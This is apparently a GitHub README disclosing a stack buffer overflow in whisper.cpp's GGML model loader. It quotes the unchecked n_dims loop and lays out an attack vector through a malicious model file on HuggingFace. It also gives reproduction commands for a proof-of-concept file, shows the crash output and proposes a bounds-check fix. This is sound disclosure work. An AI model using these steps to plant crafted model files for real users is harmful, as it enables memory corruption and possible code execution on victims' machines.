jdhart81/whisper-ggml-stack-overflow-poc

PoC: Stack Buffer Overflow in whisper.cpp GGML Model Loader

Vulnerability

CWE-121: Stack-based Buffer Overflow in whisper_model_load() at src/whisper.cpp:1884-1886.

The n_dims field is read directly from the model file with zero bounds checking. It controls a loop that writes into int32_t ne[4] — a 4-element stack-allocated array. When n_dims > 4, the loop writes past the array boundary, corrupting adjacent stack variables and the stack canary.

Vulnerable Code (src/whisper.cpp:1882-1886)

int32_t nelements = 1;
int32_t ne[4] = { 1, 1, 1, 1 };
for (int i = 0; i < n_dims; ++i) {
    read_safe(loader, ne[i]);     // OOB write when n_dims > 4
    nelements *= ne[i];
}

Second occurrence at src/whisper.cpp:5010-5015 (same pattern in a different weight-loading path).

Attack Vector

Malicious .bin GGML model file uploaded to HuggingFace Hub → victim downloads via standard workflow → loads with whisper.cpp → stack buffer overflow.

Reproduction

Generate PoC file

python3 generate_poc.py poc_stack_overflow.bin

Build whisper.cpp with AddressSanitizer

git clone https://github.com/ggerganov/whisper.cpp
cd whisper.cpp
cmake -B build -DWHISPER_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug .
cmake --build build --target whisper-cli

Run

./build/bin/whisper-cli -m poc_stack_overflow.bin -f /dev/null

Expected Output (with stack protector — default build)

whisper_model_load: tensor 'encoder.positional_embedding' has wrong size in model file
whisper_model_load: shape: [1094795585, 1094795585, 1094795585], expected: [1280, 1500, 1]
*** stack smashing detected ***: terminated
Aborted (core dumped)

The 1094795585 = 0x41414141 — our overflow pattern visible in corrupted stack variables.

Expected Output (with ASan, no stack protector)

==PID==ERROR: AddressSanitizer: stack-overflow on address 0x...
    #0 in whisper_model_load src/whisper.cpp:1886
SUMMARY: AddressSanitizer: stack-overflow whisper.cpp:1886 in whisper_model_load

Fix

Add bounds checking before the loop:

if (n_dims < 1 || n_dims > 4) {
    WHISPER_LOG_ERROR("%s: invalid n_dims %d\n", __func__, n_dims);
    return false;
}

Impact

• Stack corruption → potential arbitrary code execution
• Any application using whisper.cpp to load untrusted GGML model files is affected
• Models are commonly downloaded from HuggingFace Hub where any user can upload